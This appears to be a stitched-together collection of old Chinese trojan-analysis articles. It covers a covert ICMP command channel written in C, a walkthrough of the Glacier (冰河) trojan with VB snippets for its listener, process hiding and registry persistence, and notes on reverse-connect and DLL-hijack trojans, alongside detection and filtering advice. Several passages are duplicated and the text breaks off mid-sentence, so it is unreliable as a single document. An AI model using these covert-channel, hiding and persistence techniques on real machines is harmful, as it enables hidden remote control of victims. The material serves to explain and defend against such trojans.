 unsigned short checksum; // 16位IP首部校验和

 unsigned int sourceIP; //32位源IP地址

 unsigned int destIP; //32位目的IP地址

}IpHeader;
  然后定义一个ICMP首部:

typedef struct _ihdr {

 BYTE i_type; //8位类型

 BYTE i_code; //8位代码

 USHORT i_cksum; //16位校验和

 USHORT i_id; //识别号(一般用进程号作为识别号)

 USHORT i_seq; //报文序列号

 ULONG timestamp; //时间戳

}IcmpHeader;


  这时可以同过WSASocket建立一个原始套接口:

SockRaw=WSASocket(

          AF_INET, //协议族

          SOCK_RAW, //协议类型,SOCK_RAW表示是原始套接口

          IPPROTO_ICMP, //协议,IPPROTO_ICMP表示ICMP数据报

          NULL, //WSAPROTOCOL_INFO置空

          0, //保留字,永远置为0

          WSA_FLAG_OVERLAPPED //标志位

          );

  注:为了使用发送接收超时设置(设置SO_RCVTIMEO, SO_SNDTIMEO),必须将标志位置为WSA_FLAG_OVERLAPPED

 

  随后你可以使用fill_icmp_data子程序填充ICMP报文段:

fill_icmp_data函数:

void fill_icmp_data(char * icmp_data, int datasize)

{

 IcmpHeader *icmp_hdr;

 char *datapart;

 icmp_hdr = (IcmpHeader*)icmp_data;

 icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY

 icmp_hdr->i_code = 0;

 icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号

 icmp_hdr->i_cksum = 0; //校验和初始化

 icmp_hdr->i_seq = 0; //序列号初始化

 datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文

                        地址加上ICMP的首部长度

 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据

                全部为"A",你可以填充任何代码和数据,实际上

                木马和控制端之间就是通过数据段传递数据的。

}

  再使用CheckSum子程序计算ICMP校验和:

 调用方法:

((IcmpHeader*)icmp_data)->i_cksum
= checksum((USHORT*)icmp_data, datasize);

CheckSum函数:

USHORT CheckSum (USHORT *buffer, int size)

{

 unsigned long cksum=0;

 while(size >1)

  {

    cksum+=*buffer++;

    size -=sizeof(USHORT);

  }

  if(size ) cksum += *(UCHAR*)buffer;

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它

  随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:

  sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
  作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:



recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct
sockaddr*)&from,&fromlen);

decode_resp(recvbuf,recv_icmp,&from);

decoder函数:

void decoder(char *buf, int bytes,struct sockaddr_in *from)

{

 IpHeader *iphdr;

 IcmpHeader *icmphdr;

 unsigned short iphdrlen;

 iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址

 iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4

 icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长度加buf

 printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
//取出源地址

 printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号

 printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号

 printf(" icmp_type=%d",icmphdr->i_type); //取出类型

 printf(" icmp_code=%d",icmphdr->i_code); //取出代码

 for(i=0;i < ICMP_DATA_SIZE;I++) printf(?%c?,*(buf+iphdrlen+i+12));//取出数据段

}

  注:在WIN2000下使用SOCK_RAW需要管理员的权限。

  对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤,win2000的Routing
& Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由->General->网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。

  本文的撰写是为了深入地研究Win2000的入侵和防御技术,探讨TCP/IP协议和Windows编程技巧,请不要将文中的内容用于任何违法的目的,文中所附为试验性的ICMP通讯程序,仅仅提供通过ICMP_ECHOREPLY进行通讯交换数据的功能以供研究;如果你对本文中的内容或代码有疑问,请Mail
to:Shotgun@xici.net,但是出于网络安全的考虑,本人不会提供任何木马软件及代码。

  随后你可以使用fill_icmp_data子程序填充ICMP报文段:

fill_icmp_data函数:

void fill_icmp_data(char * icmp_data, int datasize)

{

 IcmpHeader *icmp_hdr;

 char *datapart;

 icmp_hdr = (IcmpHeader*)icmp_data;

 icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY

 icmp_hdr->i_code = 0;

 icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号

 icmp_hdr->i_cksum = 0; //校验和初始化

 icmp_hdr->i_seq = 0; //序列号初始化

 datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文

                        地址加上ICMP的首部长度

 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据

                全部为"A",你可以填充任何代码和数据,实际上

                木马和控制端之间就是通过数据段传递数据的。

}

  再使用CheckSum子程序计算ICMP校验和:

 调用方法:

((IcmpHeader*)icmp_data)->i_cksum
= checksum((USHORT*)icmp_data, datasize);

CheckSum函数:

USHORT CheckSum (USHORT *buffer, int size)

{

 unsigned long cksum=0;

 while(size >1)

  {

    cksum+=*buffer++;

    size -=sizeof(USHORT);

  }

  if(size ) cksum += *(UCHAR*)buffer;

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它

  随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:

  sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
  作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:



recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct
sockaddr*)&from,&fromlen);

decode_resp(recvbuf,recv_icmp,&from);

decoder函数:

void decoder(char *buf, int bytes,struct sockaddr_in *from)

{

 IpHeader *iphdr;

 IcmpHeader *icmphdr;

 unsigned short iphdrlen;

 iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址

 iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4

 icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长度加buf

 printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
//取出源地址

 printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号

 printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号

 printf(" icmp_type=%d",icmphdr->i_type); //取出类型

 printf(" icmp_code=%d",icmphdr->i_code); //取出代码

 for(i=0;i < ICMP_DATA_SIZE;I++) printf(?%c?,*(buf+iphdrlen+i+12));//取出数据段

}

  注:在WIN2000下使用SOCK_RAW需要管理员的权限。

  对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤,win2000的Routing
& Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由->General->网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。

  本文的撰写是为了深入地研究Win2000的入侵和防御技术,探讨TCP/IP协议和Windows编程技巧,请不要将文中的内容用于任何违法的目的,文中所附为试验性的ICMP通讯程序,仅仅提供通过ICMP_ECHOREPLY进行通讯交换数据的功能以供研究;如果你对本文中的内容或代码有疑问,请Mail
to:Shotgun@xici.net,但是出于网络安全的考虑,本人不会提供任何木马软件及代码。


前言

  离冰河二的问世已经快一年了,大家对于木马这种远程控制软件也有了一定的认识,比如:他会改注册表,他会监听端口等等,和一年前几乎没有人懂得木马是什么东西相比,这是一个质的飞跃。但是,在这个连“菜鸟”都会用NETSTAT看端口,用LOCKDOWN保护注册表的今天,难道木马就停步不前,等待我们的“杀戮”么?回答显然是否定的。木马在这一年当中,同样也不断进步,不断发展,他们变得更加隐蔽,更加灵活。本文试图通过分析近一年以来木马软件的发展,向大家介绍木马的最新攻防技巧,从而使大家能够更加安全地畅游在Internet上。 (本文中默认的操作系统为Win2000,默认的编程环境是VC++6.0)

  在过去的一年当中,出过很多有名的木马,SUB7,BO2000,冰河等等,他们都有几个共同的特点,比如:开TCP端口监听,写注册表等等,因此,针对这些特点,也涌现出了不少查杀木马的工具,比如LockDown2000, Clean等,这些工具一般都是利用检查注册表和端口来寻找木马 (也有利用特征码来查找的,那种原始的思路我们就不说了,谁都知道,只要 源码 稍微改改,特征码查询就毫无用处)甚至还出了一些号称能防范未来多少年木马的软件。而在大家的不断宣传下,以下的木马法则已经妇孺皆知:

  1、不要随便从不知名的网站上下载可执行文件,不要随便运行别人给的软件;

  2、不要过于相信别人,不要随便打开邮件的附件;

  3、经常检查自己的系统文件、注册表、端口、进程;

  4、经常去查看最新的木马公告,更新自己防火墙的木马库;

  这样看来,第一代木马的特性大家都已经耳熟能详,在这种情况下,作为一个地下工作者,木马的日子会非常难过。那么,木马就这样甘受屠戮,坐以待毙么?人类就这样灭绝了木马这个种族么?不是!木马为了生存,也在不断进化,在我们放松警惕,庆祝胜利的时候,木马已经经历了几次质的突变,现在的木马比起他们的前辈要更加隐蔽,更加巧妙,更难以发现,功能更强大。

一、关端口

  祸从口出,同样,端口也是木马的最大漏洞,经过大家的不断宣传,现在连一个刚刚上网没有多久的“菜鸟”也知道用NETSTAT查看端口,木马的端口越做越高,越做越象系统端口,被发现的概率却越来越大。但是端口是木马的生命之源,没有端口木马是无法和外界进行通讯的,更不要说进行远程控制了。为了解决这个矛盾,木马们深入研究了Richard Stevens的TCP/IP协议详解,决定:放弃原来他们赖以生存的端口,转而进入地下。放弃了端口后木马怎么和控制端联络呢?对于这个问题,不同的木马采用了不同的方法,大致分为以下两种方法:寄生、潜伏。

  1、寄生就是找一个已经打开的端口,寄生其上,平时只是监听,遇到特殊的指令就进行解释执行;因为木马实际上是寄生在已有的系统服务之上的,因此,你在扫描或查看系统端口的时候是没有任何异常的。据我所知,在98下进行这样的操作是比较简单的,但是对于Win2000 相对要麻烦得多。由于作者对这种技术没有很深的研究,在这里就不赘述了,感兴趣的朋友可以去http://www.ahjmw.gov.cn/cit/或者西祠胡同的WinSock版查看相关的资料。

  2、潜伏是说使用IP协议族中的其它协议而非TCP/UDP来进行通讯,从而瞒过Netstat和端口扫描软件。一种比较常见的潜伏手段是使用ICMP协议,ICMP(Internet控制报文)是IP协议的附属协议,它是由内核或进程直接处理而不需要通过端口,一个最常见的ICMP协议就是Ping,它利用了ICMP的回显请求和回显应答报文。一个普通的ICMP木马会监听ICMP报文,当出现特殊的报文时(比如特殊大小的包、特殊的报文结构等)它会打开TCP端口等待控制端的连接,这种木马在没有激活时是不可见的,但是一旦连接上了控制端就和普通木马一样,本地可以看到状态为Established的链接(如果端口的最大连接数设为1,在远程使用Connect方法进行端口扫描还是没有办法发现的);而一个真正意义上的ICMP木马则会严格地使用ICMP协议来进行数据和控制命令的传递(数据放在ICMP的报文中),在整个过程中,它都是不可见的。(除非使用嗅探软件分析网络流量

  3、除了寄生和潜伏之外,木马还有其他更好的方法进行隐藏,比如直接针对网卡或Modem进行底层的编程,这涉及到更高的编程技巧。

二、隐藏进程

  在win9x时代,简单的注册为系统进程就可以从任务栏中消失,可是在Window2000盛行的今天,这种方法遭到了惨败,注册为系统进程不仅仅能在任务栏中看到,而且可以直接在Services中直接控制停止、运行(太搞笑了,木马被客户端控制)。使用隐藏窗体或控制台的方法也不能欺骗无所不见的ADMIN大人(要知道,在NT下,Administrator是可以看见所有进程的)。在研究了其它软件的长处之后,木马发现,Windows下的中文汉化软件采用的陷阱技术非常适合木马的使用。

  DLL陷阱技术是一种针对DLL(动态链接库)的高级编程技术,编程者用特洛伊DLL替换已知的系统DLL,并对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL,对于一些事先约定好的特殊情况,DLL会执行一些相对应的操作,一个比较简单的方法是起一个进程,虽然所有的操作都在DLL中完成会更加隐蔽,但是这大大增加了程序编写的难度,实际上这样的木马大多数只是使用DLL进行监听,一旦发现控制端的连接请求就激活自身,起一个绑端口的进程进行正常的木马操作。操作结束后关掉进程,继续进入休眠状况。

  因为大量特洛伊DLL的使用实际上已经危害到了Windows操作系统的安全和稳定性,据说微软的下一代操作系统Window2001(海王星)已经使用了DLL数字签名、校验技术,因此,特洛伊DLL的时代很快会结束。取代它的将会是强行嵌入代码技术(插入DLL,挂接API,进程的动态替换等等),但是这种技术对于编写者的汇编功底要求很高,涉及大量硬编码的机器指令,并不是一般的木马编写者可以涉足。(晕,我是门都找不到,哪位高手可以指点我一下?)

  三、争夺系统控制权

  木马们并不甘于老是处于防守的地位,他们也会进攻,也会主动出击。WINNT下的溢出型木马就是这样的积极者,他们不仅仅简单的加载、守候、完成命令,而是利用种种系统的漏洞设法使自己成为系统的拥有者-ADMIN,甚至系统的控制者-System。那么,木马利用什么方法能一改过去到处逃亡的面目,从而成为系统的主宰呢?

  首当其冲的显然是注册表:多年驰骋注册表的历史使得木马非常熟悉注册表的构造和特点(你呢,你能比木马更熟悉注册表么)Windows2000有几个注册表的权限漏洞,允许非授权用户改写ADMIN的设置,从而强迫ADMIN执行木马程序,这个方法实现起来比较容易,但是会被大多数的防火墙发现。

  其次是利用系统的权限漏洞,改写ADMIN的文件、配置等等,在ADMIN允许Active Desktop的情况下这个方法非常好用,但是对于一个有经验的管理员,这个方法不是太有效;

  第三个选择是系统的本地溢出漏洞,由于木马是在本地运行的,它可以通过本地溢出的漏洞(比如IIS的本地溢出漏洞等),直接取得system的权限。这部分内容在袁哥和很多汇编高手的文章中都有介绍,我就不再赘述了。(偷偷告诉你,其实是我说不出来,我要是能写出那样的溢出程序我还用在这里......

  四、防火墙攻防战

  现在,在个人防火墙如此之流行的今天,也许有人会说:我装个防火墙,不管你用什么木马,在我系统上搞什么,防火墙设了只出不进,反正你没法连进来。同样,对于局域网内的机器,原先的木马也不能有效的进行控制(难道指望网关会给你做NAT么?)但是,城墙从来就挡不住木马:在古希腊的特洛伊战争中,人们是推倒了城墙来恭迎木马的,而在这个互联网的时代,木马仍然以其隐蔽性和欺诈性使得防火墙被从内部攻破。其中反弹端口型的木马非常清晰的体现了这一思路。

反弹端口型木马分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型木马的服务端(被控制端)使用主动端口,客户端(控制端)使用被动端口,木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口,为了隐蔽起见,控制端的被动端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似 TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情况,稍微疏忽一点你就会以为是自己在浏览网页。(防火墙也会这么认为的,我想大概没有哪个防火墙会不给用户向外连接80端口吧,嘿嘿)看到这里,有人会问:那服务端怎么能知道控制端的IP地址呢?难道控制端只能使用固定的IP地址?哈哈,那不是自己找死么?一查就查到了。

  实际上,这种反弹端口的木马常常会采用固定IP的第三方存储设备来进行IP地址的传递。举一个简单的例子:事先约定好一个个人主页的空间,在其中放置一个文本文件,木马每分钟去GET一次这个文件,如果文件内容为空,就什么都不做,如果有内容就按照文本文件中的数据计算出控制端的IP和端口,反弹一个TCP链接回去,这样每次控制者上线只需要FTP一个INI文件就可以告诉木马自己的位置,为了保险起见,这个IP


前言
  在网上,大家最关心的事情之一就是木马:最近出了新的木马吗?木马究竟能实现哪些功能?木马如何防治?木马究竟是如何工作的?本文试图以我国最著名的木马之一 - 冰河为例,向大家剖析木马的基本原理,为大家揭开木马的神秘面纱。
  木马冰河是用C++Builder写的,为了便于大家理解,我将用相对比较简单的VB来说明它,其中涉及到一些WinSock编程和Windows API的知识,如果你不是很了解的话,请去查阅相关的资料。

一、基础篇(揭开木马的神秘面纱)
  无论大家把木马看得多神秘,也无论木马能实现多么强大的功能,木马,其实质只是一个网络客户/服务程序。那么,就让我们从网络客户/服务程序的编写开始。
  1.基本概念:
   网络客户/服务模式的原理是一台主机提供服务(服务器),另一台主机接受服务(客户机)。作为服务器的主机一般会打开一个默认的端口并进行监听(Listen), 如果有客户机向服务器的这一端口提出连接请求(Connect Request), 服务器上的相应程序就会自动运行,来应答客户机的请求,这个程序我们称为守护进程(UNIX的术语,不过已经被移植到了MS系统上)。对于冰河,被控制端就成为一台服务器,控制端则是一台客户机,G_server.exe是守护进程, G_client是客户端应用程序。(这一点经常有人混淆,而且往往会给自己种了木马!甚至还有人跟我争得面红耳赤,昏倒!!)
   
  2.程序实现:
   在VB中,可以使用Winsock控件来编写网络客户/服务程序, 实现方法如下:
   (其中,G_Server和G_Client均为Winsock控件)
   服务端:
   G_Server.LocalPort=7626(冰河的默认端口,可以改为别的值)
   G_Server.Listen(等待连接)
   
   客户端:
   G_Client.RemoteHost=ServerIP(设远端地址为服务器地址)
   G_Client.RemotePort=7626  (设远程端口为冰河的默认端口,呵呵,知道吗?这是冰河的生日哦)
   (在这里可以分配一个本地端口给G_Client, 如果不分配, 计算机将会自动分配一个, 建议让计算机自动分配)
   G_Client.Connect      (调用Winsock控件的连接方法)
   
   一旦服务端接到客户端的连接请求ConnectionRequest,就接受连接
   Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)
       G_Server.Ac t requestID
   End Sub

  客户机端用G_Client.SendData发送命令,而服务器在G_Server_DateArrive事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)

   如果客户断开连接,则关闭连接并重新监听端口   
   Private Sub G_Server_Close()
       G_Server.Close  (关闭连接)
       G_Server.Listen (再次监听)
   End Sub

   其他的部分可以用命令传递来进行,客户端上传一个命令,服务端解释并执行命令......
    

二、控制篇(木马控制了这个世界!)
  由于Win98开放了所有的权限给用户,因此,以用户权限运行的木马程序几乎可以控制一切,让我们来看看冰河究竟能做些什么(看了后,你会认同我的观点:称冰河为木马是不恰当的,冰河实现的功能之多,足以成为一个成功的远程控制软件)
  因为冰河实现的功能实在太多,我不可能在这里一一详细地说明,所以下面仅对冰河的主要功能进行简单的概述, 主要是使用Windows API函数, 如果你想知道这些函数的具体定义和参数, 请查询WinAPI手册。
  1.远程监控(控制对方鼠标、键盘,并监视对方屏幕)
   keybd_event 模拟一个键盘动作(这个函数支持屏幕截图哦)。
   mouse_event 模拟一次鼠标事件(这个函数的参数太复杂,我要全写在这里会被编辑骂死的,只能写一点主要的,其他的自己查WinAPI吧)
   mouse_event(dwFlags,dx,dy,cButtons,dwExtraInfo)

dwFlags: 
   MOUSEEVENTF_ABSOLUTE 指定鼠标坐标系统中的一个绝对位置。
   MOUSEEVENTF_MOVE 移动鼠标
   MOUSEEVENTF_LEFTDOWN 模拟鼠标左键按下
   MOUSEEVENTF_LEFTUP 模拟鼠标左键抬起
   MOUSEEVENTF_RIGHTDOWN 模拟鼠标右键按下
   MOUSEEVENTF_RIGHTUP 模拟鼠标右键按下
   MOUSEEVENTF_MIDDLEDOWN 模拟鼠标中键按下
   MOUSEEVENTF_MIDDLEUP 模拟鼠标中键按下
dx,dy:
   MOUSEEVENTF_ABSOLUTE中的鼠标坐标

2.记录各种口令信息(出于安全角度考虑,本文不探讨这方面的问题,也请不要给我来信询问)

  3.获取系统信息
   a.取得计算机名  GetComputerName
   b.更改计算机名  SetComputerName
   c.当前用户    GetUserName函数
   d.系统路径 
     Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")      (建立文件系统对象)
     Set SystemDir = FileSystem0bject.getspecialfolder(1)
     (取系统目录)
     Set SystemDir = FileSystem0bject.getspecialfolder(0)
     (取Windows安装目录)
     
     (友情提醒: FileSystemObject是一个很有用的对象,你可以用它来完成很多有用的文件操作)

   e.取得系统版本  GetVersionEx(还有一个GetVersion,不过在32位windows下可能会有问题,所以建议用GetVersionEx

   f.当前显示分辨率
   Width = screen.Width / screen.TwipsPerPixelX
   Height= screen.Height / screen.TwipsPerPixelY


   其实如果不用Windows API我们也能很容易的取到系统的各类信息,那就是Winodws的"垃圾站"-注册表
   比如计算机名和计算机标识吧:
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/VxD/VNETSUP
中的Comment,ComputerName和WorkGroup
   注册公司和用户名:
HKEY_USERS/.DEFAULT/Software/Microsoft/MS Setup (ACME)/UserInfo
至于如何取得注册表键值请看第6部分

  4.限制系统功能
   a.远程关机或重启计算机,使用WinAPI中的如下函数可以实现:
    ExitWindowsEx(ByVal uFlags,0)
    当uFlags=0 EWX_LOGOFF 中止进程,然后注销
       =1 EWX_SHUTDOWN 关掉系统电源
       =2 EWX_REBOOT  重新引导系统
       =4 EWX_FORCE  强迫中止没有响应的进程
   
   b.锁定鼠标
    ClipCursor(lpRect As RECT)可以将指针限制到指定区域,或者用ShowCursor(FALSE)把鼠标隐藏起来也可以
    
    注:RECT是一个矩形,定义如下:
    Type RECT
       Left As Long
       Top As Long
       Right As Long
       Bottom As Long
    End Type

   c.锁定系统 这个有太多的办法了,嘿嘿,想Windows不死机都困难呀,比如,搞个死循环吧,当然,要想系统彻底崩溃还需要一点技巧,比如设备漏洞或者耗尽资源什么的......

   d.让对方掉线 RasHangUp......

   e.终止进程  ExitProcess......

   f.关闭窗口  利用FindWindow函数找到窗口并利用SendMessage函数关闭窗口

  5.远程文件操作
   无论在哪种编程语言里, 文件操作功能都是比较简单的, 在此就不赘述了,你也可以用上面提到的FileSystemObject对象来实现

  6.注册表操作
   在VB中只要Set RegEdit=CreateObject("WScript.Shell")
   就可以使用以下的注册表功能:
   删除键值:RegEdit.RegDelete RegKey
   增加键值:RegEdit.Write   RegKey,RegValue
   获取键值:RegEdit.RegRead  (Value)
   记住,注册表的键值要写全路径,否则会出错的。

  7.发送信息
   很简单,只是一个弹出式消息框而已,VB中用MsgBox("")就可以实现,其他程序也不太难的。

  8.点对点通讯
   呵呵,这个嘛随便去看看什么聊天软件就行了
   (因为比较简单但是比较烦,所以我就不写了,呵呵。又:我始终没有搞懂冰河为什么要在木马里搞这个东东,困惑......)

  9.换墙纸
   Call SystemParametersInfo(20,0,"BMP路径名称",&H1)
   值得注意的是,如果使用了Active Desktop,换墙纸有可能会失败,遇到这种问题,请不要找冰河和我,去找比尔盖子吧。

三、潜行篇(Windows,一个捉迷藏的大森林)
  木马并不是合法的网络服务程序(即使你是把木马装在女朋友的机子上,也是不合法的,当然,这种行为我可以理解,呵呵),因此,它必须想尽一切办法隐藏自己,好在,Windows是一个捉迷藏的大森林!
  1、在任务栏中隐藏自己:
   这是最基本的了,如果连这个都做不到......(想象一下,如果Windows的任务栏里出现一个国际象棋中木马的图标...@#$%!#@$...也太嚣张了吧!)
   在VB中,只要把form的Visible属性设为False, ShowInTaskBar设为False, 程序就不会出现在任务栏中了。

  2、在任务管理器中隐形:(就是按下Ctrl+Alt+Del时看不见那个名字叫做“木马”的进程)
   这个有点难度,不过还是难不倒我们,将程序设为“系统服务”可以很轻松的伪装成比尔盖子的嫡系部队(Windows,我们和你是一家的,不要告诉别人我藏在哪儿...)。
   在VB中如下的代码可以实现这一功能:
   Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
   Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
   (以上为声明)
   Private Sub Form_Load()
      RegisterServiceProcess GetCurrentProcessId, 1 (注册系统服务)
   End Sub
   Private Sub Form_Unload()
     RegisterServiceProcess GetCurrentProcessId, 0 (取消系统服务)
   End Sub

  3、如何悄没声息地启动:
   你当然不会指望用户每次启动后点击木马图标来运行服务端,木马要做到的第二重要的事就是如何在每次用户启动时自动装载服务端(第一重要的是如何让对方中木马,嘿嘿,这部分的内容将在后面提到)
   Windows支持多种在系统启动时自动加载应用程序的方法(简直就像是为木马特别定做的)启动组、win.ini、system.ini、注册表等等都是木马藏身的好地方。冰河采用了多种方法确保你不能摆脱它(怎么听起来有点死缠烂打呀....哎呦,谁呀谁呀,那什么黄鑫,不要拿鸡蛋扔我!)首先,冰河会在注册表的HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run和RUNSERVICE键值中加上了$#@60;system>/kernl32.exe($#@60;system>是系统目录), 其次如果你删除了这个键值,自以为得意地喝著茶的时候,冰河又阴魂不散地出现了...怎么回事?原来冰河的服务端会在c:/windows(这个会随你windows的安装目录变化而变化)下生成一个叫sysexplr.exe文件(太象超级解霸了,好毒呀,冰河!),这个文件是与文本文件相关联的,只要你打开文本(哪天不打开几次文本?), sysexplr.exe文件就会重新生成krnel32.exe, 然后你还是被冰河控制著。

  4、端口
  木马都会很注意自己的端口(你呢?你关心你的6万多个端口吗?),如果你留意的话,你就会发现,木马端口一般都在1000以上,而且呈越来越大的趋势(netspy是1243....)这是因为,1000以下的端口是常用端口,占用这些端口可能会造成系统不正常,这样木马就会很容易暴露; 而由于端口扫描是需要时间的(一个很快的端口扫描器在远程也需要大约二十分钟才能扫完所有的端口),故而使用诸如54321的端口会让你很难发现它。在文章的末尾我给大家转贴了一个常见木马的端口表,你就对著这个表去查吧(不过,值得提醒的是,冰河及很多比较新的木马都提供端口修改功能,所以,实际上木马能以任意端口出现)
  
  5.最新的隐身技术
  目前,除了冰河使用的隐身技术外,更新、更隐蔽的方法已经出现,那就是-驱动程序及动态链接库技术(冰河3.0会采用这种方法吗?)。
  驱动程序及动态链接库技术和一般的木马不同,它基本上摆脱了原有的木马模式-监听端口,而采用替代系统功能的方法(改写驱动程序或动态链接库)。这样做的结果是:系统中没有增加新的文件(所以不能用扫描的方法查杀)、不需要打开新的端口(所以不能用端口监视的方法查杀)、没有新的进程(所以使用进程查看的方法发现不了它,也不能用kill进程的方法终止它的运行)。在正常运行时木马几乎没有任何的症状,而一旦木马的控制端向被控端发出特定的信息后,隐藏的程序就立即开始运作......
  事实上,我已经看到过几个这样类型的木马,其中就有通过改写vxd文件建立隐藏共享的木马...

 

四、破解篇(魔高一尺、道高一丈)
  本文主要是探讨木马的基本原理, 木马的破解并非是本文的重点(也不是我的长处),具体的破解请大家期待yagami的《特洛伊木马看过来》(我都期待一年了,大家和我一起继续期待吧,嘿嘿),本文只是对通用的木马防御、卸载方法做一个小小的总结:
  1.端口扫描
  端口扫描是检查远程机器有无木马的最好办法, 端口扫描的原理非常简单, 扫描程序尝试连接某个端口, 如果成功, 则说明端口开放, 如果失败或超过某个特定的时间(超时), 则说明端口关闭。(关于端口扫描,Oliver有一篇关于“半连接扫描”的文章,很精彩,那种扫描的原理不太一样,不过不在本文讨论的范围之中)

  但是值得说明的是, 对于驱动程序/动态链接木马, 扫描端口是不起作用的。

  2.查看连接
  查看连接和端口扫描的原理基本相同,不过是在本地机上通过netstat -a(或某个第三方的程序)查看所有的TCP/UDP连接,查看连接要比端口扫描快,缺点同样是无法查出驱动程序/动态链接木马,而且仅仅能在本地使用。

  3.检查注册表
  上面在讨论木马的启动方式时已经提到,木马可以通过注册表启动(好像现在大部分的木马都是通过注册表启动的,至少也把注册表作为一个自我保护的方式),那么,我们同样可以通过检查注册表来发现"马蹄印",冰河在注册表里留下的痕迹请参照《潜行篇》。

  4.查找文件
  查找木马特定的文件也是一个常用的方法(这个我知道,冰河的特征文件是G_Server.exe吧? 笨蛋!哪会这么简单,冰河是狡猾狡猾的......)冰河的一个特征文件是kernl32.exe(靠,伪装成Windows的内核呀),另一个更隐蔽,是sysexlpr.exe(什么什么,不是超级解霸吗?)对!冰河之所以给这两个文件取这样的名字就是为了更好的伪装自己, 只要删除了这两个文件,冰河就已经不起作用了。其他的木马也是一样(废话,Server端程序都没了,还能干嘛?)
  黄鑫:"咳咳,不是那么简单哦......"(狡猾地笑)
  是的, 如果你只是删除了sysexlpr.exe而没有做扫尾工作的话,可能会遇到一些麻烦-就是你的文本文件打不开了,因为前面说了,sysexplr.exe是和文本文件关联的,你还必须把文本文件跟notepad关联上,方法有三种:
  a.更改注册表(我就不说了,有能力自己改的想来也不要我说,否则还是不要乱动的好)
